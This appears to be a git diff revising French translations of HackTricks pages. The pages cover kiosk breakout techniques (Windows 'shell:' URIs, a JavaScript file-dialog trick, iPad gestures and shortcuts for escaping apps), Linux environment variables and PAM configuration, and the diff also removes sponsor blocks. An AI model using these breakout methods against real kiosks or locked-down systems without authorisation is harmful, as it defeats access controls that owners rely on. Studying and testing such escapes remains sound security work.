C'est une barre d'outils qui apparaît en haut à gauche de l'image lorsqu'elle est cliquée. Vous pourrez Enregistrer, Imprimer, Mailto, Ouvrir "Mes images" dans l'Explorateur. Le Kiosk doit utiliser Internet Explorer.
|
||||||
|
|
||||||
#### Protocole Shell
|
#### Protocole Shell
|
||||||
|
|
||||||
Tapez ces URL pour obtenir une vue de l'Explorateur :
|
Tapez ces URL pour obtenir une vue de l'Explorateur :
|
||||||
|
|
||||||
* `shell:Outils administratifs`
|
* `shell:Outils Administratifs`
|
||||||
* `shell:Bibliothèque de documents`
|
* `shell:DocumentsLibrary`
|
||||||
* `shell:Bibliothèques`
|
* `shell:Bibliothèques`
|
||||||
* `shell:ProfilsUtilisateurs`
|
* `shell:UserProfiles`
|
||||||
* `shell:Personnel`
|
* `shell:Personnel`
|
||||||
* `shell:DossierAccueilRecherche`
|
* `shell:SearchHomeFolder`
|
||||||
* `shell:DossierLieuxRéseau`
|
* `shell:NetworkPlacesFolder`
|
||||||
* `shell:EnvoyerVers`
|
* `shell:SendTo`
|
||||||
* `shell:ProfilsUtilisateurs`
|
* `shell:UserProfiles`
|
||||||
* `shell:Outils administratifs communs`
|
* `shell:Outils Administratifs Communs`
|
||||||
* `shell:PosteTravail`
|
* `shell:MyComputerFolder`
|
||||||
* `shell:DossierInternet`
|
* `shell:InternetFolder`
|
||||||
* `Shell:Profil`
|
* `Shell:Profile`
|
||||||
* `Shell:FichiersProgrammes`
|
* `Shell:ProgramFiles`
|
||||||
* `Shell:Système`
|
* `Shell:System`
|
||||||
* `Shell:PanneauConfiguration`
|
* `Shell:ControlPanelFolder`
|
||||||
* `Shell:Windows`
|
* `Shell:Windows`
|
||||||
* `shell:::{21EC2020-3AEA-1069-A2DD-08002B30309D}` --> Panneau de configuration
|
* `shell:::{21EC2020-3AEA-1069-A2DD-08002B30309D}` --> Panneau de configuration
|
||||||
* `shell:::{20D04FE0-3AEA-1069-A2D8-08002B30309D}` --> Poste de travail
|
* `shell:::{20D04FE0-3AEA-1069-A2D8-08002B30309D}` --> Mon ordinateur
|
||||||
* `shell:::{{208D2C60-3AEA-1069-A2D7-08002B30309D}}` --> Mes lieux réseau
|
* `shell:::{{208D2C60-3AEA-1069-A2D7-08002B30309D}}` --> Mes lieux réseau
|
||||||
* `shell:::{871C5380-42A0-1069-A2EA-08002B30309D}` --> Internet Explorer
|
* `shell:::{871C5380-42A0-1069-A2EA-08002B30309D}` --> Internet Explorer
|
||||||
|
|
||||||
|
@ -181,59 +172,59 @@ Consultez cette page pour plus d'informations : [https://www.howtohaven.com/syst
|
||||||
|
|
||||||
## Astuces pour les navigateurs
|
## Astuces pour les navigateurs
|
||||||
|
|
||||||
Sauvegardez les versions iKat :
|
Versions de sauvegarde d'iKat :
|
||||||
|
|
||||||
[http://swin.es/k/](http://swin.es/k/)\
|
[http://swin.es/k/](http://swin.es/k/)\
|
||||||
[http://www.ikat.kronicd.net/](http://www.ikat.kronicd.net)\\
|
[http://www.ikat.kronicd.net/](http://www.ikat.kronicd.net)\\
|
||||||
|
|
||||||
Créez une boîte de dialogue commune en utilisant JavaScript et accédez à l'explorateur de fichiers : `document.write('<input/type=file>')`\
|
Créez un dialogue commun en utilisant JavaScript et accédez à l'explorateur de fichiers : `document.write('<input/type=file>')`\
|
||||||
Source : https://medium.com/@Rend\_/give-me-a-browser-ill-give-you-a-shell-de19811defa0
|
Source : https://medium.com/@Rend\_/give-me-a-browser-ill-give-you-a-shell-de19811defa0
|
||||||
|
|
||||||
## iPad
|
## iPad
|
||||||
|
|
||||||
### Gestes et boutons
|
### Gestes et boutons
|
||||||
|
|
||||||
* Balayez vers le haut avec quatre (ou cinq) doigts / Double-tapez sur le bouton Accueil : Pour afficher la vue multitâche et changer d'application
|
* Glissez vers le haut avec quatre (ou cinq) doigts / Double-tapez sur le bouton Accueil : Pour voir la vue multitâche et changer d'application
|
||||||
* Balayez d'un côté ou de l'autre avec quatre ou cinq doigts : Pour changer vers l'application suivante/précédente
|
* Glissez d'un côté ou de l'autre avec quatre ou cinq doigts : Pour changer vers l'application suivante/précédente
|
||||||
* Pincez l'écran avec cinq doigts / Touchez le bouton Accueil / Balayez vers le haut avec 1 doigt depuis le bas de l'écran en un mouvement rapide vers le haut : Pour accéder à l'Accueil
|
* Pincez l'écran avec cinq doigts / Touchez le bouton Accueil / Glissez vers le haut avec 1 doigt depuis le bas de l'écran rapidement : Pour accéder à l'accueil
|
||||||
* Balayez avec un doigt depuis le bas de l'écran sur 1-2 pouces (lentement) : Le dock apparaîtra
|
* Glissez un doigt depuis le bas de l'écran juste 1-2 pouces (lentement) : Le dock apparaîtra
|
||||||
* Balayez vers le bas depuis le haut de l'écran avec 1 doigt : Pour afficher vos notifications
|
* Glissez vers le bas depuis le haut de l'affichage avec 1 doigt : Pour voir vos notifications
|
||||||
* Balayez vers le bas avec 1 doigt dans le coin supérieur droit de l'écran : Pour voir le centre de contrôle de l'iPad Pro
|
* Glissez vers le bas avec 1 doigt dans le coin supérieur droit de l'écran : Pour voir le centre de contrôle de l'iPad Pro
|
||||||
* Balayez avec 1 doigt depuis la gauche de l'écran sur 1-2 pouces : Pour voir la vue Aujourd'hui
|
* Glissez 1 doigt depuis le côté gauche de l'écran 1-2 pouces : Pour voir la vue Aujourd'hui
|
||||||
* Balayez rapidement avec 1 doigt depuis le centre de l'écran vers la droite ou la gauche : Pour changer vers l'application suivante/précédente
|
* Glissez rapidement 1 doigt depuis le centre de l'écran vers la droite ou la gauche : Pour changer vers l'application suivante/précédente
|
||||||
* Maintenez enfoncé le bouton Marche/Arrêt en haut à droite de l'iPad + Déplacez le curseur Éteindre tout à droite : Pour éteindre
|
* Appuyez et maintenez le bouton On/**Off**/Veille dans le coin supérieur droit de l'**iPad +** Déplacez le curseur de mise hors tension complètement vers la droite : Pour éteindre
|
||||||
* Appuyez sur le bouton Marche/Arrêt en haut à droite de l'iPad et le bouton Accueil pendant quelques secondes : Pour forcer un arrêt complet
|
* Appuyez sur le bouton On/**Off**/Veille dans le coin supérieur droit de l'**iPad et le bouton Accueil pendant quelques secondes** : Pour forcer un arrêt complet
|
||||||
* Appuyez rapidement sur le bouton Marche/Arrêt en haut à droite de l'iPad et le bouton Accueil : Pour prendre une capture d'écran qui apparaîtra en bas à gauche de l'écran. Appuyez brièvement sur les deux boutons en même temps, car si vous les maintenez enfoncés quelques secondes, un arrêt complet sera effectué.
|
* Appuyez sur le bouton On/**Off**/Veille dans le coin supérieur droit de l'**iPad et le bouton Accueil rapidement** : Pour prendre une capture d'écran qui apparaîtra en bas à gauche de l'affichage. Appuyez sur les deux boutons en même temps très brièvement, car si vous les maintenez quelques secondes, un arrêt complet sera effectué.
|
||||||
|
|
||||||
### Raccourcis
|
### Raccourcis
|
||||||
|
|
||||||
Vous devez avoir un clavier iPad ou un adaptateur de clavier USB. Seuls les raccourcis pouvant aider à s'échapper de l'application seront présentés ici.
|
Vous devriez avoir un clavier iPad ou un adaptateur de clavier USB. Seuls les raccourcis qui pourraient aider à échapper à l'application seront affichés ici.
|
||||||
|
|
||||||
| Touche | Nom |
|
| Touche | Nom |
|
||||||
| --- | ------------ |
|
| --- | ------------ |
|
||||||
| ⌘ | Commande |
|
| ⌘ | Commande |
|
||||||
| ⌥ | Option (Alt) |
|
| ⌥ | Option (Alt) |
|
||||||
| ⇧ | Majuscule |
|
| ⇧ | Maj |
|
||||||
| ↩ | Retour |
|
| ↩ | Retour |
|
||||||
| ⇥ | Tabulation |
|
| ⇥ | Tab |
|
||||||
| ^ | Contrôle |
|
| ^ | Contrôle |
|
||||||
| ← | Flèche gauche |
|
| ← | Flèche gauche |
|
||||||
| → | Flèche droite |
|
| → | Flèche droite |
|
||||||
| ↑ | Flèche vers le haut |
|
| ↑ | Flèche haut |
|
||||||
| ↓ | Flèche vers le bas |
|
| ↓ | Flèche bas |
|
||||||
|
|
||||||
#### Raccourcis système
|
#### Raccourcis système
|
||||||
|
|
||||||
Ces raccourcis sont pour les paramètres visuels et sonores, en fonction de l'utilisation de l'iPad.
|
Ces raccourcis sont pour les paramètres visuels et sonores, selon l'utilisation de l'iPad.
|
||||||
|
|
||||||
| Raccourci | Action |
|
| Raccourci | Action |
|
||||||
| -------- | ------------------------------------------------------------------------------ |
|
| -------- | ------------------------------------------------------------------------------ |
|
||||||
| F1 | Diminuer la luminosité de l'écran |
|
| F1 | Diminuer l'écran |
|
||||||
| F2 | Augmenter la luminosité de l'écran |
|
| F2 | Augmenter l'écran |
|
||||||
| F7 | Revenir en arrière d'une chanson |
|
| F7 | Reculer d'une chanson |
|
||||||
| F8 | Lecture/pause |
|
| F8 | Lecture/pause |
|
||||||
| F9 | Piste suivante |
|
| F9 | Passer à la chanson suivante |
|
||||||
| F10 | Muet |
|
| F10 | Couper |
|
||||||
| F11 | Diminuer le volume |
|
| F11 | Diminuer le volume |
|
||||||
| F12 | Augmenter le volume |
|
| F12 | Augmenter le volume |
|
||||||
| ⌘ Espace | Afficher une liste des langues disponibles ; pour en choisir une, appuyez à nouveau sur la barre d'espace. |
|
| ⌘ Espace | Afficher une liste des langues disponibles ; pour en choisir une, appuyez à nouveau sur la barre d'espace. |
|
||||||
|
@ -242,45 +233,46 @@ Ces raccourcis sont pour les paramètres visuels et sonores, en fonction de l'ut
|
||||||
|
|
||||||
| Raccourci | Action |
|
| Raccourci | Action |
|
||||||
| -------------------------------------------------- | ------------------------------------------------------- |
|
| -------------------------------------------------- | ------------------------------------------------------- |
|
||||||
| ⌘H | Aller à l'Accueil |
|
| ⌘H | Aller à l'accueil |
|
||||||
| ⌘⇧H (Commande-Majuscule-H) | Aller à l'Accueil |
|
| ⌘⇧H (Commande-Shift-H) | Aller à l'accueil |
|
||||||
| ⌘ (Espace) | Ouvrir Spotlight |
|
| ⌘ (Espace) | Ouvrir Spotlight |
|
||||||
| ⌘⇥ (Commande-Tabulation) | Liste des dix dernières applications utilisées |
|
| ⌘⇥ (Commande-Tab) | Lister les dix dernières applications utilisées |
|
||||||
| ⌘\~ | Aller à la dernière application |
|
| ⌘\~ | Aller à la dernière application |
|
||||||
| ⌘⇧3 (Commande-Majuscule-3) | Capture d'écran (apparaît en bas à gauche pour enregistrer ou agir dessus) |
|
| ⌘⇧3 (Commande-Shift-3) | Capture d'écran (flotte en bas à gauche pour enregistrer ou agir dessus) |
|
||||||
| ⌘⇧4 | Capture d'écran et l'ouvrir dans l'éditeur |
|
| ⌘⇧4 | Capture d'écran et l'ouvrir dans l'éditeur |
|
||||||
| Maintenir enfoncé ⌘ | Liste des raccourcis disponibles pour l'application |
|
| Appuyez et maintenez ⌘ | Liste des raccourcis disponibles pour l'application |
|
||||||
| ⌘⌥D (Commande-Option/Alt-D) | Faire apparaître le dock |
|
| ⌘⌥D (Commande-Option/Alt-D) | Affiche le dock |
|
||||||
| ^⌥H (Contrôle-Option-H) | Bouton Accueil |
|
| ^⌥H (Contrôle-Option-H) | Bouton d'accueil |
|
||||||
| ^⌥H H (Contrôle-Option-H-H) | Afficher la barre de multitâche |
|
| ^⌥H H (Contrôle-Option-H-H) | Afficher la barre multitâche |
|
||||||
| ^⌥I (Contrôle-Option-i) | Sélecteur d'éléments |
|
| ^⌥I (Contrôle-Option-i) | Choix d'élément |
|
||||||
| Échap | Bouton Retour |
|
| Échapper | Bouton de retour |
|
||||||
| → (Flèche droite) | Élément suivant |
|
| → (Flèche droite) | Élément suivant |
|
||||||
| ← (Flèche gauche) | Élément précédent |
|
| ← (Flèche gauche) | Élément précédent |
|
||||||
| ↑↓ (Flèche vers le haut, Flèche vers le bas) | Appuyer simultanément sur l'élément sélectionné |
|
| ↑↓ (Flèche haut, Flèche bas) | Appuyez simultanément sur l'élément sélectionné |
|
||||||
| ⌥ ↓ (Option-Flèche vers le bas) | Faire défiler vers le bas |
|
| ⌥ ↓ (Option-Flèche bas) | Faire défiler vers le bas |
|
||||||
| ⌥↑ (Option-Flèche vers le haut) | Faire défiler vers le haut |
|
| ⌥↑ (Option-Flèche haut) | Faire défiler vers le haut |
|
||||||
| ⌥← ou ⌥→ (Option-Flèche gauche ou Option-Flèche droite) | Faire défiler vers la gauche ou la droite |
|
| ⌥← ou ⌥→ (Option-Flèche gauche ou Option-Flèche droite) | Faire défiler à gauche ou à droite |
|
||||||
| ^⌥S (Contrôle-Option-S) | Activer ou désactiver la synthèse vocale VoiceOver |
|
| ^⌥S (Contrôle-Option-S) | Activer ou désactiver la synthèse vocale |
|
||||||
| ⌘⇧⇥ (Commande-Majuscule-Tabulation) | Passer à l'application précédente |
|
| ⌘⇧⇥ (Commande-Shift-Tab) | Passer à l'application précédente |
|
||||||
| ⌘⇥ (Commande-Tabulation) | Revenir à l'application d'origine |
|
| ⌘⇥ (Commande-Tab) | Revenir à l'application d'origine |
|
||||||
| ←+→, puis Option + ← ou Option+→ | Naviguer dans le Dock |
|
| ←+→, puis Option + ← ou Option+→ | Naviguer à travers le Dock |
|
||||||
|
|
||||||
#### Raccourcis Safari
|
#### Raccourcis Safari
|
||||||
|
|
||||||
| Raccourci | Action |
|
| Raccourci | Action |
|
||||||
| ----------------------- | ------------------------------------------------ |
|
| ----------------------- | ------------------------------------------------ |
|
||||||
| ⌘L (Command-L) | Ouvrir l'emplacement |
|
| ⌘L (Commande-L) | Ouvrir l'emplacement |
|
||||||
| ⌘T | Ouvrir un nouvel onglet |
|
| ⌘T | Ouvrir un nouvel onglet |
|
||||||
| ⌘W | Fermer l'onglet actuel |
|
| ⌘W | Fermer l'onglet actuel |
|
||||||
| ⌘R | Actualiser l'onglet actuel |
|
| ⌘R | Actualiser l'onglet actuel |
|
||||||
| ⌘. | Arrêter le chargement de l'onglet actuel |
|
| ⌘. | Arrêter de charger l'onglet actuel |
|
||||||
| ^⇥ | Passer à l'onglet suivant |
|
| ^⇥ | Passer à l'onglet suivant |
|
||||||
| ^⇧⇥ (Control-Shift-Tab) | Aller à l'onglet précédent |
|
| ^⇧⇥ (Contrôle-Shift-Tab) | Passer à l'onglet précédent |
|
||||||
| ⌘L | Sélectionner le champ de texte/URL pour le modifier|
|
| ⌘L | Sélectionner le champ de saisie de texte/URL pour le modifier |
|
||||||
| ⌘⇧T (Command-Shift-T) | Ouvrir le dernier onglet fermé (peut être utilisé plusieurs fois) |
|
| ⌘⇧T (Commande-Shift-T) | Ouvrir le dernier onglet fermé (peut être utilisé plusieurs fois) |
|
||||||
| ⌘\[ | Revenir à la page précédente dans l'historique de navigation |
|
| ⌘\[ | Reculer d'une page dans votre historique de navigation |
|
||||||
| ⌘] | Aller à la page suivante dans l'historique de navigation |
|
| ⌘] | Avancer d'une page dans votre historique de navigation |
|
||||||
| ⌘⇧R | Activer le mode Lecteur |
|
| ⌘⇧R | Activer le mode lecteur |
|
||||||
|
|
||||||
#### Raccourcis Mail
|
#### Raccourcis Mail
|
||||||
|
|
||||||
|
@ -290,8 +282,8 @@ Ces raccourcis sont pour les paramètres visuels et sonores, en fonction de l'ut
|
||||||
| ⌘T | Ouvrir un nouvel onglet |
|
| ⌘T | Ouvrir un nouvel onglet |
|
||||||
| ⌘W | Fermer l'onglet actuel |
|
| ⌘W | Fermer l'onglet actuel |
|
||||||
| ⌘R | Actualiser l'onglet actuel |
|
| ⌘R | Actualiser l'onglet actuel |
|
||||||
| ⌘. | Arrêter le chargement de l'onglet actuel |
|
| ⌘. | Arrêter de charger l'onglet actuel |
|
||||||
| ⌘⌥F (Command-Option/Alt-F) | Rechercher dans votre boîte de réception |
|
| ⌘⌥F (Commande-Option/Alt-F) | Rechercher dans votre boîte aux lettres |
|
||||||
|
|
||||||
## Références
|
## Références
|
||||||
|
|
||||||
|
@ -300,29 +292,19 @@ Ces raccourcis sont pour les paramètres visuels et sonores, en fonction de l'ut
|
||||||
* [https://thesweetsetup.com/best-ipad-keyboard-shortcuts/](https://thesweetsetup.com/best-ipad-keyboard-shortcuts/)
|
* [https://thesweetsetup.com/best-ipad-keyboard-shortcuts/](https://thesweetsetup.com/best-ipad-keyboard-shortcuts/)
|
||||||
* [http://www.iphonehacks.com/2018/03/ipad-keyboard-shortcuts.html](http://www.iphonehacks.com/2018/03/ipad-keyboard-shortcuts.html)
|
* [http://www.iphonehacks.com/2018/03/ipad-keyboard-shortcuts.html](http://www.iphonehacks.com/2018/03/ipad-keyboard-shortcuts.html)
|
||||||
|
|
||||||
#### [WhiteIntel](https://whiteintel.io)
|
|
||||||
|
|
||||||
<figure><img src="../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
|
||||||
|
|
||||||
[**WhiteIntel**](https://whiteintel.io) est un moteur de recherche alimenté par le **dark web** qui offre des fonctionnalités **gratuites** pour vérifier si une entreprise ou ses clients ont été **compromis** par des **malwares voleurs**.
|
|
||||||
|
|
||||||
Le but principal de WhiteIntel est de lutter contre les prises de contrôle de compte et les attaques de ransomware résultant de malwares volant des informations.
|
|
||||||
|
|
||||||
Vous pouvez consulter leur site web et essayer leur moteur gratuitement sur :
|
|
||||||
|
|
||||||
{% embed url="https://whiteintel.io" %}
|
|
||||||
|
|
||||||
{% hint style="success" %}
|
{% hint style="success" %}
|
||||||
Apprenez et pratiquez le piratage AWS :<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**Formation HackTricks AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
Apprenez et pratiquez le Hacking AWS :<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
Apprenez et pratiquez le piratage GCP : <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**Formation HackTricks GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
Apprenez et pratiquez le Hacking GCP : <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary>Soutenez HackTricks</summary>
|
<summary>Supportez HackTricks</summary>
|
||||||
|
|
||||||
* Consultez les [**plans d'abonnement**](https://github.com/sponsors/carlospolop) !
|
* Consultez les [**plans d'abonnement**](https://github.com/sponsors/carlospolop) !
|
||||||
* **Rejoignez** 💬 le [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** nous sur **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** nous sur **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **Partagez des astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
* **Partagez des astuces de hacking en soumettant des PRs aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts github.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
|
@ -10,22 +10,14 @@ Apprenez et pratiquez le hacking GCP : <img src="/.gitbook/assets/grte.png" alt=
|
||||||
|
|
||||||
* Consultez les [**plans d'abonnement**](https://github.com/sponsors/carlospolop) !
|
* Consultez les [**plans d'abonnement**](https://github.com/sponsors/carlospolop) !
|
||||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** nous sur **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** nous sur **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **Partagez des astuces de hacking en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts github.
|
* **Partagez des astuces de hacking en soumettant des PRs aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts github.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
**Try Hard Security Group**
|
|
||||||
|
|
||||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
|
||||||
|
|
||||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
|
||||||
|
|
||||||
***
|
|
||||||
|
|
||||||
## Variables globales
|
## Variables globales
|
||||||
|
|
||||||
Les variables globales **seront** héritées par **les processus enfants**.
|
Les variables globales **seront** héritées par les **processus enfants**.
|
||||||
|
|
||||||
Vous pouvez créer une variable globale pour votre session actuelle en faisant :
|
Vous pouvez créer une variable globale pour votre session actuelle en faisant :
|
||||||
```bash
|
```bash
|
||||||
|
@ -46,7 +38,7 @@ LOCAL="my local"
|
||||||
echo $LOCAL
|
echo $LOCAL
|
||||||
unset LOCAL
|
unset LOCAL
|
||||||
```
|
```
|
||||||
## Liste des variables actuelles
|
## Lister les variables actuelles
|
||||||
```bash
|
```bash
|
||||||
set
|
set
|
||||||
env
|
env
|
||||||
|
@ -69,7 +61,7 @@ From: [https://geek-university.com/linux/common-environment-variables/](https://
|
||||||
* **MANPATH** – la liste des répertoires à rechercher pour les pages de manuel.
|
* **MANPATH** – la liste des répertoires à rechercher pour les pages de manuel.
|
||||||
* **OSTYPE** – le type de système d'exploitation.
|
* **OSTYPE** – le type de système d'exploitation.
|
||||||
* **PS1** – l'invite par défaut dans bash.
|
* **PS1** – l'invite par défaut dans bash.
|
||||||
* **PATH** – stocke le chemin de tous les répertoires contenant des fichiers binaires que vous souhaitez exécuter simplement en spécifiant le nom du fichier et non par chemin relatif ou absolu.
|
* **PATH** – stocke le chemin de tous les répertoires contenant des fichiers binaires que vous souhaitez exécuter simplement en spécifiant le nom du fichier et non par un chemin relatif ou absolu.
|
||||||
* **PWD** – le répertoire de travail actuel.
|
* **PWD** – le répertoire de travail actuel.
|
||||||
* **SHELL** – le chemin vers le shell de commande actuel (par exemple, **/bin/bash**).
|
* **SHELL** – le chemin vers le shell de commande actuel (par exemple, **/bin/bash**).
|
||||||
* **TERM** – le type de terminal actuel (par exemple, **xterm**).
|
* **TERM** – le type de terminal actuel (par exemple, **xterm**).
|
||||||
|
@ -126,11 +118,6 @@ Un travail en arrière-plan, un arrêté et la dernière commande ne s'est pas t
|
||||||
|
|
||||||
![](<../.gitbook/assets/image (715).png>)
|
![](<../.gitbook/assets/image (715).png>)
|
||||||
|
|
||||||
**Try Hard Security Group**
|
|
||||||
|
|
||||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
|
||||||
|
|
||||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
|
||||||
|
|
||||||
{% hint style="success" %}
|
{% hint style="success" %}
|
||||||
Apprenez et pratiquez le hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
Apprenez et pratiquez le hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
|
|
|
@ -15,25 +15,12 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
||||||
</details>
|
</details>
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
#### [WhiteIntel](https://whiteintel.io)
|
|
||||||
|
|
||||||
<figure><img src="../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
### Informations de base
|
||||||
|
|
||||||
[**WhiteIntel**](https://whiteintel.io) est un moteur de recherche alimenté par le **dark-web** qui offre des fonctionnalités **gratuites** pour vérifier si une entreprise ou ses clients ont été **compromis** par des **malwares voleurs**.
|
|
||||||
|
|
||||||
Leur objectif principal avec WhiteIntel est de lutter contre les prises de contrôle de comptes et les attaques par ransomware résultant de malwares de vol d'informations.
|
|
||||||
|
|
||||||
Vous pouvez consulter leur site web et essayer leur moteur **gratuitement** à l'adresse suivante :
|
|
||||||
|
|
||||||
{% embed url="https://whiteintel.io" %}
|
|
||||||
|
|
||||||
***
|
|
||||||
|
|
||||||
### Basic Information
|
|
||||||
|
|
||||||
**PAM (Pluggable Authentication Modules)** agit comme un mécanisme de sécurité qui **vérifie l'identité des utilisateurs tentant d'accéder aux services informatiques**, contrôlant leur accès en fonction de divers critères. C'est semblable à un gardien numérique, garantissant que seuls les utilisateurs autorisés peuvent interagir avec des services spécifiques tout en limitant potentiellement leur utilisation pour éviter les surcharges du système.
|
**PAM (Pluggable Authentication Modules)** agit comme un mécanisme de sécurité qui **vérifie l'identité des utilisateurs tentant d'accéder aux services informatiques**, contrôlant leur accès en fonction de divers critères. C'est semblable à un gardien numérique, garantissant que seuls les utilisateurs autorisés peuvent interagir avec des services spécifiques tout en limitant potentiellement leur utilisation pour éviter les surcharges du système.
|
||||||
|
|
||||||
#### Configuration Files
|
#### Fichiers de configuration
|
||||||
|
|
||||||
* Les **systèmes Solaris et basés sur UNIX** utilisent généralement un fichier de configuration central situé à `/etc/pam.conf`.
|
* Les **systèmes Solaris et basés sur UNIX** utilisent généralement un fichier de configuration central situé à `/etc/pam.conf`.
|
||||||
* Les **systèmes Linux** préfèrent une approche par répertoire, stockant des configurations spécifiques aux services dans `/etc/pam.d`. Par exemple, le fichier de configuration pour le service de connexion se trouve à `/etc/pam.d/login`.
|
* Les **systèmes Linux** préfèrent une approche par répertoire, stockant des configurations spécifiques aux services dans `/etc/pam.d`. Par exemple, le fichier de configuration pour le service de connexion se trouve à `/etc/pam.d/login`.
|
||||||
|
@ -53,7 +40,7 @@ session required /lib/security/pam_unix_session.so
|
||||||
```
|
```
|
||||||
#### **Royaumes de gestion PAM**
|
#### **Royaumes de gestion PAM**
|
||||||
|
|
||||||
Ces royaumes, ou groupes de gestion, incluent **auth**, **account**, **password** et **session**, chacun responsable de différents aspects du processus d'authentification et de gestion des sessions :
|
Ces royaumes, ou groupes de gestion, incluent **auth**, **account**, **password**, et **session**, chacun responsable de différents aspects du processus d'authentification et de gestion de session :
|
||||||
|
|
||||||
* **Auth** : Valide l'identité de l'utilisateur, souvent en demandant un mot de passe.
|
* **Auth** : Valide l'identité de l'utilisateur, souvent en demandant un mot de passe.
|
||||||
* **Account** : Gère la vérification des comptes, vérifiant des conditions telles que l'appartenance à un groupe ou des restrictions horaires.
|
* **Account** : Gère la vérification des comptes, vérifiant des conditions telles que l'appartenance à un groupe ou des restrictions horaires.
|
||||||
|
@ -66,40 +53,29 @@ Les contrôles dictent la réponse du module en cas de succès ou d'échec, infl
|
||||||
|
|
||||||
* **Required** : L'échec d'un module requis entraîne un échec final, mais seulement après que tous les modules suivants aient été vérifiés.
|
* **Required** : L'échec d'un module requis entraîne un échec final, mais seulement après que tous les modules suivants aient été vérifiés.
|
||||||
* **Requisite** : Terminaison immédiate du processus en cas d'échec.
|
* **Requisite** : Terminaison immédiate du processus en cas d'échec.
|
||||||
* **Sufficient** : Le succès contourne les autres vérifications du même royaume, sauf si un module suivant échoue.
|
* **Sufficient** : Le succès contourne les autres vérifications du même royaume à moins qu'un module suivant échoue.
|
||||||
* **Optional** : Ne cause un échec que si c'est le seul module dans la pile.
|
* **Optional** : Ne cause un échec que s'il s'agit du seul module dans la pile.
|
||||||
|
|
||||||
#### Scénario d'exemple
|
#### Scénario d'exemple
|
||||||
|
|
||||||
Dans une configuration avec plusieurs modules d'authentification, le processus suit un ordre strict. Si le module `pam_securetty` trouve le terminal de connexion non autorisé, les connexions root sont bloquées, mais tous les modules sont tout de même traités en raison de son statut "required". Le `pam_env` définit des variables d'environnement, pouvant potentiellement aider à l'expérience utilisateur. Les modules `pam_ldap` et `pam_unix` travaillent ensemble pour authentifier l'utilisateur, `pam_unix` tentant d'utiliser un mot de passe précédemment fourni, améliorant l'efficacité et la flexibilité des méthodes d'authentification.
|
Dans une configuration avec plusieurs modules d'authentification, le processus suit un ordre strict. Si le module `pam_securetty` trouve le terminal de connexion non autorisé, les connexions root sont bloquées, mais tous les modules sont tout de même traités en raison de son statut "required". Le `pam_env` définit des variables d'environnement, pouvant potentiellement aider à l'expérience utilisateur. Les modules `pam_ldap` et `pam_unix` travaillent ensemble pour authentifier l'utilisateur, avec `pam_unix` tentant d'utiliser un mot de passe précédemment fourni, améliorant l'efficacité et la flexibilité des méthodes d'authentification.
|
||||||
|
|
||||||
### Références
|
### Références
|
||||||
|
|
||||||
* [https://hotpotato.tistory.com/434](https://hotpotato.tistory.com/434)
|
* [https://hotpotato.tistory.com/434](https://hotpotato.tistory.com/434)
|
||||||
|
|
||||||
#### [WhiteIntel](https://whiteintel.io)
|
|
||||||
|
|
||||||
<figure><img src="../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
|
